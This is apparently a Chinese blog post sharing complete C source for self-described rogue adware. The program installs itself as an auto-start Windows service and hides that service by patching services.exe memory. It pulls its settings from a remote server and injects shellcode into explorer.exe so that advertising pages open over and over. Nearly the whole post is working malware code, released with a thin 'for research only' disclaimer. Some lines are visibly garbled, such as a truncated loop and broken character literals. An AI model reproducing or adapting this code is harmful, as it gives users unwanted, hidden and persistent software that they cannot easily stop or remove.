导读:
ps:请勿用于非法用途,仅供技术研究之用。
by:yunshu
这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
这个是主函数,安装,读取配置,注入代码用的。
代码:
- /**************************************************************************************************
- * 1. 给XX作的流氓软件
- * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
- **************************************************************************************************/
- #include
- #include
- #include
- #include
- #include
- // 是否记录日志
- //#define DEBUG
- #ifdef DEBUG
- #define DEBUG_LOG "c:\debug.txt"
- // 日志记录函数
- void LogToFile( WCHAR * );
- #endif
- #include "ControlService.h"
- #include "HideService.h"
- #include "CustomFunction.h"
- #pragma comment (lib, "Advapi32.lib")
- #pragma comment (lib, "Shell32.lib")
- #pragma comment (lib, "ws2_32.lib")
- #pragma comment (lib, "User32.lib")
- #define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
- #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
- #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
- #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
- #define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe"
- #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
- #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
- // 宏,转换字符串为unicode
- #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
- // 弹出窗口之间的间隔时间
- int sleep_time;
- // 弹出的url地址
- char url_path[512] = { 0 };
- /**************************************************************************************************
- * 函数原形
- **************************************************************************************************/
- void ServiceMain( DWORD, char **); //服务入口
- BOOL SetDebugPrivilege( ); //获取debug权限
- DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
- void InjectCode( ); //写代码到远程进程
- void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
- /**************************************************************************************************
- * 程序入口,主函数
- **************************************************************************************************/
- int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
- {
- WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
- SERVICE_TABLE_ENTRY serviceTable[2];
- serviceTable[0].lpServiceName = SERVICE_NAME;
- serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
- serviceTable[1].lpServiceName = NULL;
- serviceTable[1].lpServiceProc = NULL;
- GetModuleFileName( NULL, filePath, MAX_PATH );
- // 如果服务未安装,安装
- if( !ServiceExists( filePath ) )
- {
- if( ServiceInstall( filePath ) != TRUE )
- {
- return -1;
- }
- else
- {
- return 0;
- }
- }
- if( !StartServiceCtrlDispatcher( serviceTable ) )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- return -1;
- }
- return 0;
- }
- /**************************************************************************************************
- * 服务入口
- **************************************************************************************************/
- void ServiceMain( DWORD argc, char *argv[] )
- {
- serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
- serviceStatus.dwCurrentState = SERVICE_START_PENDING;
- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
- serviceStatus.dwWin32ExitCode = 0;
- serviceStatus.dwServiceSpecificExitCode = 0;
- serviceStatus.dwCheckPoint = 0;
- serviceStatus.dwWaitHint = 0;
- #ifdef DEBUG
- LogToFile( L"ServiceMain: Try to register service\n" );
- #endif
- hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
- if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- return;
- }
- serviceStatus.dwCurrentState = SERVICE_RUNNING;
- serviceStatus.dwCheckPoint = 0;
- serviceStatus.dwWaitHint = 0;
- if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- return;
- }
- #ifdef DEBUG
- LogToFile( L"ServiceMain: Start service ok\n" );
- #endif
- // 隐藏服务
- HideService( SERVICE_NAME );
- // 从网络读取配置
- GetConfig( );
- // 注入代码
- InjectCode( );
- serviceStatus.dwCurrentState = SERVICE_STOPPED;
- if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- }
- #ifdef DEBUG
- LogToFile( L"Stop service in main.\n" );
- #endif
- #ifdef DEBUG
- LogToFile( L"ServiceMain Done.\n" );
- #endif
- return;
- }
- void InjectCode( )
- {
- if( ! SetDebugPrivilege() )
- {
- #ifdef DEBUG
- LogToFile( L"Set Debug Privileges error.\n" );
- #endif
- return;
- }
- DWORD dwPID = -1;
- while( 1 )
- {
- dwPID = GetProcessIdByName( TARGET_PROCESS );
- if( -1 != dwPID )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"Target process id is %d\n", dwPID );
- LogToFile( tmp );
- #endif
- break;
- }
- #ifdef DEBUG
- LogToFile( L"Target process not found, sleep and continue.\n" );
- #endif
- Sleep( 30 * 1000 );
- }
- Sleep( 2 * 60 * 1000 );
- // 打开进程
- HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
- if( ! hProcess )
- {
- #ifdef DEBUG
- LogToFile( L"OpenProcess error.\n" );
- #endif
- return;
- }
- //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
- Arguments arguments;
- memset( (void *)&arguments, 0, sizeof(Arguments) );
- HMODULE hKernel = GetModuleHandleA( "kernel32" );
- if( hKernel == NULL )
- {
- #ifdef DEBUG
- LogToFile( L"GetModuleHandle kernel32.dll error.\n" );
- #endif
- return;
- }
- arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
- arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
- strcpy( arguments.MyKernelDll, "kernel32.dll" );
- strcpy( arguments.MyProgram, IE_PATH );
- strcpy( arguments.MyShellDll, "Shell32.dll" );
- strcpy( arguments.MyShellExecute, "ShellExecuteA" );
- strcpy( arguments.MyUrl, url_path );
- strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
- arguments.SleepTime = sleep_time;
- // 在远程进程中分配内存存放参数,可写权限
- Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,
- 0,
- sizeof(Arguments),
- MEM_COMMIT,
- PAGE_READWRITE );
- if( !remote_agrument )
- {
- #ifdef DEBUG
- LogToFile( L"VirtualAllocEx for arguments error.\n" );
- #endif
- return;
- }
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
- LogToFile( tmp );
- #endif
- // 将参数写入远程进程内存
- int bytes_write;
- if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
- {
- #ifdef DEBUG
- LogToFile( L"WriteProcessMemory for arguments error.\n" );
- #endif
- return;
- }
- // 在远程进程中分配内存存放代码,可执行权限
- LPVOID remote_func = VirtualAllocEx( hProcess,
- 0,
- REMOTE_FUNC_LENGTH,
- MEM_COMMIT,
- PAGE_EXECUTE_READWRITE );
- if( !remote_func )
- {
- #ifdef DEBUG
- LogToFile( L"VirtualAllocEx for function error.\n" );
- #endif
- return;
- }
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );
- LogToFile( tmp );
- #endif
- // 将代码写入远程进程内存
- if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
- {
- #ifdef DEBUG
- LogToFile( L"WriteProcessMemory for function error.\n" );
- #endif
- return;
- }
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );
- LogToFile( tmp );
- #endif
- HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
- if ( !remote_thread )
- {
- #ifdef DEBUG
- LogToFile( L"CreateRemoteThread for function error.\n" );
- #endif
- return;
- }
- #ifdef DEBUG
- LogToFile( L"CreateRemoteThread for function ok\n" );
- #endif
- /*
- WaitForSingleObject( remote_thread, INFINITE );
- if( NULL != remote_func )
- {
- VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
- #ifdef DEBUG
- LogToFile( L"VirtualFreeEx for remote_func.\n" );
- #endif
- }
- if( NULL != remote_agrument )
- {
- VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
- #ifdef DEBUG
- LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
- #endif
- }
- if( NULL != remote_thread )
- {
- CloseHandle( remote_thread );
- #ifdef DEBUG
- LogToFile( L"CloseHandle for remote_thread.\n" );
- #endif
- }
- if( NULL != hProcess )
- {
- CloseHandle( hProcess );
- #ifdef DEBUG
- LogToFile( L"CloseHandle for hProcess.\n" );
- #endif
- }
- */
- return;
- }
- void GetConfig( )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- #endif
- WSAData wsa;
- struct sockaddr_in sin;
- memset( &sin, 0, sizeof(struct sockaddr_in) );
- if( WSAStartup( 0x0202, &wsa ) != 0 )
- {
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- goto getconfig_error;
- }
- struct hostent *phost = gethostbyname( CONFIG_HOST );
- if( phost == NULL )
- {
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- WSACleanup( );
- goto getconfig_error;
- }
- memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
- sin.sin_family = AF_INET;
- sin.sin_port = htons( 80 );
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- WCHAR ip[256] = { 0 };
- MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));
- wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );
- LogToFile( tmp );
- #endif
- SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
- if( sock == INVALID_SOCKET )
- {
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );
- LogToFile( tmp );
- #endif
- WSACleanup( );
- goto getconfig_error;
- }
- int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
- if( SOCKET_ERROR == ret )
- {
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"Connect error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- closesocket( sock );
- WSACleanup( );
- goto getconfig_error;
- }
- char send_buff[512] = { 0 };
- sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- WCHAR tmp2[256] = { 0 };
- MULTI_TO_WIDE( tmp2, send_buff );
- wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );
- LogToFile( tmp );
- #endif
- ret = send( sock, send_buff, strlen(send_buff), 0 );
- if( SOCKET_ERROR == ret )
- {
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- wsprintf( tmp, L"Send request error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- closesocket( sock );
- WSACleanup( );
- goto getconfig_error;
- }
- #ifdef DEBUG
- LogToFile( L"Send request ok!\n" );
- #endif
- char recv_buff[1024] = { 0 };
- recv( sock, recv_buff, 1000, 0 );
- if( !recv_buff )
- {
- closesocket( sock );
- WSACleanup( );
- goto getconfig_error;
- }
- closesocket( sock );
- WSACleanup( );
- char *content = strstr( recv_buff, "\r\n\r\n" );
- if( !content )
- {
- goto getconfig_error;
- }
- content += strlen("\r\n\r\n");
- #ifdef DEBUG
- memset( tmp, 0, sizeof(tmp) );
- WCHAR c[256] = { 0 };
- MULTI_TO_WIDE( c, content );
- wsprintf( tmp, L"Config content is:\n%s\n", c );
- LogToFile( tmp );
- #endif
- char *split_flag = strstr( content, "|" );
- if( !split_flag )
- {
- goto getconfig_error;
- }
- char tmp_time[32] = { 0 };
- char tmp_url[512] = { 0 };
- if( split_flag - content >32 )
- {
- sleep_time = DEFAULT_SLEEP_TIME;
- }
- else
- {
- strncpy( tmp_time, content, split_flag - content );
- sleep_time = atoi( tmp_time );
- }
- if( strlen( split_flag ) >= 512 )
- {
- strcpy( url_path, DEFAULT_URL );
- }
- else
- {
- strcpy( url_path, split_flag + 1 );
- }
- return;
- getconfig_error:
- sleep_time = DEFAULT_SLEEP_TIME;
- strcpy( url_path, DEFAULT_URL );
- return;
- }
- /**************************************************************************************************
- * 记录日志函数
- **************************************************************************************************/
- #ifdef DEBUG
- void LogToFile( WCHAR *str )
- {
- FILE *fp;
- fp = fopen( DEBUG_LOG, "a" );
- fwprintf( fp, L"%s\n", str );
- fclose( fp );
- }
- #endif
- 这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
- 代码:
- // yunshu(pst) Copy from zzzevazzz(pst)'s code
- // 几个Undocument的结构
- typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
- typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
- typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
- typedef struct _SC_SERVICE_PROCESS
- {
- PSC_SERVICE_PROCESS Previous;
- PSC_SERVICE_PROCESS Next;
- WCHAR *ImagePath;
- DWORD Pid;
- DWORD NumberOfServices;
- // ...
- } SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
- typedef struct _SC_DEPEND_SERVICE
- {
- PSC_DEPEND_SERVICE Next;
- DWORD Unknow;
- PSC_SERVICE_RECORD Service;
- // ...
- } SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
- typedef struct _SC_SERVICE_RECORD
- {
- PSC_SERVICE_RECORD Previous;
- PSC_SERVICE_RECORD Next;
- WCHAR *ServiceName;
- WCHAR *DisplayName;
- DWORD Index;
- DWORD Unknow0;
- DWORD sErv;
- DWORD ControlCount;
- DWORD Unknow1;
- PSC_SERVICE_PROCESS Process;
- SERVICE_STATUS Status;
- DWORD StartType;
- DWORD ErrorControl;
- DWORD TagId;
- PSC_DEPEND_SERVICE DependOn;
- PSC_DEPEND_SERVICE Depended;
- // ...
- } SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
- BOOL SetDebugPrivilege()
- {
- BOOL bRet = FALSE;
- HANDLE hToken = NULL;
- LUID luid;
- TOKEN_PRIVILEGES tp;
- if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
- LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
- {
- tp.PrivilegeCount = 1;
- tp.Privileges[0].Luid = luid;
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
- }
- if (hToken) CloseHandle(hToken);
- return bRet;
- }
- DWORD GetProcessIdByName(WCHAR *Name)
- {
- BOOL bRet = FALSE;
- HANDLE hProcessSnap = NULL;
- PROCESSENTRY32 pe32 = { 0 };
- DWORD Pid = -1;
- hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
- pe32.dwSize = sizeof(PROCESSENTRY32);
- if (Process32First(hProcessSnap, &pe32))
- {
- do
- {
- if ( !_wcsicmp(pe32.szExeFile, Name ) )
- {
- Pid = pe32.th32ProcessID;
- break;
- }
- }
- while (Process32Next(hProcessSnap, &pe32));
- }
- CloseHandle(hProcessSnap);
- return Pid;
- }
- // 修改内存属性为指定值
- void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
- {
- MEMORY_BASIC_INFORMATION mbi;
- DWORD dwOldProtect, dwWritten;
- VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
- VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
- WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
- VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
- }
- //寻找服务链表
- PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
- {
- WCHAR FileName[MAX_PATH+1];
- HANDLE hFile, hFileMap;
- UCHAR * pMap;
- DWORD dwSize, dwSizeHigh, i, dwRead;
- SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;
- GetSystemDirectory( FileName, MAX_PATH );
- wcscat( FileName, L"\Services.exe");
- hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
- NULL, OPEN_EXISTING, 0, NULL);
- if (INVALID_HANDLE_VALUE == hFile) return NULL;
- dwSizeHigh = 0;
- dwSize = GetFileSize(hFile, &dwSizeHigh);
- hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
- if (NULL == hFileMap) return NULL;
- pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
- if (NULL == pMap) return NULL;
- dwSize -= 12;
- for (i=0; i {
- // 搜索services!ScGetServiceDatabase特征代码
- if (*(DWORD*)(pMap+i) == 0xa1909090 &&
- *(DWORD*)(pMap+i+8) == 0x909090c3)
- {
- #ifdef DEBUG
- WCHAR tmpBuffer[256] = { 0 };
- wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD *)(pMap+i) );
- LogToFile( tmpBuffer );
- #endif
- if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
- ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
- SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
- {
- pRet = pSvcRd;
- #ifdef DEBUG
- WCHAR tmpBuffer[256] = { 0 };
- wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );
- LogToFile( tmpBuffer );
- #endif
- break;
- }
- }
- }
- UnmapViewOfFile(pMap);
- CloseHandle(hFileMap);
- CloseHandle(hFile);
- //printf( "addr: 0x%08x\n", (DWORD *)pRet );
- return pRet;
- }
- // 隐藏服务
- BOOL HideService( WCHAR *Name )
- {
- DWORD Pid;
- HANDLE hProcess;
- SC_SERVICE_RECORD SvcRd, *pSvcRd;
- DWORD dwRead, dwNameSize;
- WCHAR SvcName[MAX_PATH] = { 0 };
- dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
- if (dwNameSize >sizeof(SvcName)) return FALSE;
- Pid = GetProcessIdByName( TEXT("Services.exe") );
- #ifdef DEBUG
- WCHAR tmpBuffer1[256] = { 0 };
- wsprintf( tmpBuffer1, L"Pid is %d\n", Pid );
- LogToFile( tmpBuffer1 );
- #endif
- if (Pid == -1) return FALSE;
- if( ! SetDebugPrivilege() ) return FALSE;
- hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
- if (NULL == hProcess) return FALSE;
- pSvcRd = FindFirstServiceRecord(hProcess);
- if (NULL == pSvcRd)
- {
- #ifdef DEBUG
- LogToFile( L"Can't Find ServiceDatabase.\n" );
- #endif
- CloseHandle(hProcess);
- return FALSE;
- }
- do
- {
- if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
- ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
- {
- // 匹配服务名
- if ( 0 == _wcsicmp(SvcName, Name) )
- {
- // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
- ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
- ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
- #ifdef DEBUG
- WCHAR tmpBuffer2[256] = { 0 };
- wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Successfully.\n", Name );
- LogToFile( tmpBuffer1 );
- #endif
- CloseHandle(hProcess);
- return TRUE;
- }
- }
- else
- {
- break;
- }
- }
- while (pSvcRd = SvcRd.Next);
- if( NULL != hProcess )
- {
- CloseHandle(hProcess);
- }
- return FALSE;
- }
- 这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
- typedef struct _Arguments
- {
- char MyUrl[512];
- char MyProgram[512];
- FARPROC MyLoadLibrary;
- FARPROC MyGetAddress;
- char MyKernelDll[32];
- char MyShellDll[32];
- char MyZeroMemory[32];
- char MyShellExecute[32];
- DWORD SleepTime;
- }Arguments;
- /**************************************************************************************************
- * WINAPI函数原形
- **************************************************************************************************/
- typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );
- typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
- typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
- void __stdcall CustomFunction( LPVOID my_arguments )
- {
- Arguments *func_args = (Arguments *)my_arguments;
- LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
- GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
- HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
- HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
- ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
- DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
- DWORD MySleep;
- DWORD sleep_time = func_args->SleepTime;
- __asm
- {
- push eax
- push esp
- sub esp, 6
- mov byte ptr [esp], 'S'
- mov byte ptr [esp+1], 'l'
- mov byte ptr [esp+2], 'e'
- mov byte ptr [esp+3], 'e'
- mov byte ptr [esp+4], 'p'
- mov byte ptr [esp+5], '
- lea eax, [esp]
- push eax
- push h_kernel
- call GetProcAddress
- mov MySleep, eax
- add esp, 6
- pop esp
- pop eax
- }
- while( 1 )
- {
- __asm
- {
- push eax
- push esp
- push ecx
- push ebx
- sub esp, 256
- mov byte ptr [esp], 'o'
- mov byte ptr [esp+1], 'p'
- mov byte ptr [esp+2], 'e'
- mov byte ptr [esp+3], 'n'
- mov byte ptr [esp+4], '
- lea ebx, [esp]
- push SW_SHOWMAXIMIZED
- push 0
- push func_args
- mov ecx, func_args
- add ecx, 200h
- lea eax, [ecx]
- push eax
- push ebx
- push 0
- call MyShellExecuteA
- add esp, 256
- pop ebx
- pop ecx
- pop esp
- pop eax
- push sleep_time
- call MySleep
- }
- }
- }
- 这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
- 代码:
- /**************************************************************************************************
- * 全局变量
- **************************************************************************************************/
- #define SERVICE_NAME L"LemonTree"
- #define SERVICE_DESCRIPTION L"LemonTree"
- #define SERVICE_DISPLAY_NAME L"LemonTree"
- SERVICE_STATUS serviceStatus;
- SERVICE_STATUS_HANDLE hServiceStatus;
- BOOL ServiceInstall( WCHAR * ); //安装服务
- BOOL ServiceUnstall( WCHAR * ); //删除服务
- void ServiceControl( DWORD ); //控制服务
- BOOL ServiceExists( WCHAR * ); //判断服务是否存在
- /***********************************************************************************
- * 安装服务
- * 参数:主程序全路径
- * 返回:成功返回TRUE,否则为FALSE
- ***********************************************************************************/
- BOOL ServiceInstall( WCHAR *exeFilePath )
- {
- WCHAR tmpPath[MAX_PATH] = { 0 };
- HKEY key;
- SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
- if ( serviceMangerHandle == 0 )
- {
- printf( "Install: Open services manager database error: %d\n", GetLastError() );
- return FALSE;
- }
- SC_HANDLE serviceHandle = CreateService
- (
- serviceMangerHandle ,
- SERVICE_NAME ,
- SERVICE_DISPLAY_NAME ,
- SERVICE_ALL_ACCESS ,
- SERVICE_WIN32_OWN_PROCESS ,
- SERVICE_AUTO_START ,
- SERVICE_ERROR_NORMAL ,
- exeFilePath ,
- NULL ,
- NULL ,
- NULL ,
- NULL ,
- NULL
- );
- if ( serviceHandle == 0 )
- {
- printf( "Create service error: %d\n", GetLastError() );
- CloseServiceHandle( serviceMangerHandle );
- return FALSE;
- }
- wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
- wcscat( tmpPath, SERVICE_NAME );
- if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
- {
- printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
- return FALSE;
- }
- RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
- RegCloseKey(key);
- if( !StartService( serviceHandle, 0, 0 ) )
- {
- printf( "Install service ok, but start it error: %d\n", GetLastError() );
- }
- else
- {
- printf( "Install service ok, start it ok.\n" );
- }
- CloseServiceHandle( serviceHandle );
- CloseServiceHandle( serviceMangerHandle );
- return TRUE;
- }
- /**************************************************************************************************
- * 删除服务
- **************************************************************************************************/
- BOOL ServiceUnstall( WCHAR *serviceName )
- {
- SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if ( scmHandle == NULL )
- {
- return FALSE;
- }
- SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
- if( scHandle == NULL )
- {
- CloseServiceHandle( scmHandle );
- return FALSE;
- }
- DeleteService( scHandle );
- CloseServiceHandle( scHandle );
- CloseServiceHandle( scmHandle );
- return TRUE;
- }
- /**************************************************************************************************
- * 服务控制函数
- **************************************************************************************************/
- void ServiceControl( DWORD request )
- {
- #ifdef DEBUG
- LogToFile( L"ServiceControl: Into ServiceControl\n" );
- #endif
- switch ( request )
- {
- case SERVICE_CONTROL_PAUSE:
- serviceStatus.dwCurrentState = SERVICE_PAUSED;
- break;
- case SERVICE_CONTROL_CONTINUE:
- serviceStatus.dwCurrentState = SERVICE_RUNNING;
- break;
- case SERVICE_CONTROL_STOP:
- #ifdef DEBUG
- LogToFile( L"ServiceControl: Try to stop service\n" );
- #endif
- serviceStatus.dwWin32ExitCode = 0;
- serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
- serviceStatus.dwCheckPoint = 0;
- serviceStatus.dwWaitHint = 0;
- break;
- case SERVICE_CONTROL_INTERROGATE:
- break;
- default:
- #ifdef DEBUG
- LogToFile( L"ServiceControl: Error arguments\n" );
- #endif
- break;
- }
- if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
- {
- #ifdef DEBUG
- WCHAR tmp[256] = { 0 };
- wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );
- LogToFile( tmp );
- #endif
- }
- return;
- }
- BOOL ServiceExists( WCHAR *path )
- {
- WCHAR tmpPath[MAX_PATH] = { 0 };
- HKEY key;
- WCHAR value[512] = { 0 };
- int type = REG_EXPAND_SZ;
- int size = sizeof(value);
- wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
- wcscat( tmpPath, SERVICE_NAME );
- if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
- {
- //printf( "RegOpenKeyEx Error: %d\n", GetLastError() );
- return FALSE;
- }
- if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
- {
- //printf( "RegQueryValueEx Error: %d\n", GetLastError() );
- return FALSE;
- }
- if( key ) RegCloseKey( key );
- // 如果服务的程序路径等于后门本身,表示已经安装
- if( 0 == _wcsicmp( value, path ) )
- {
- return TRUE;
- }
- return FALSE;
- }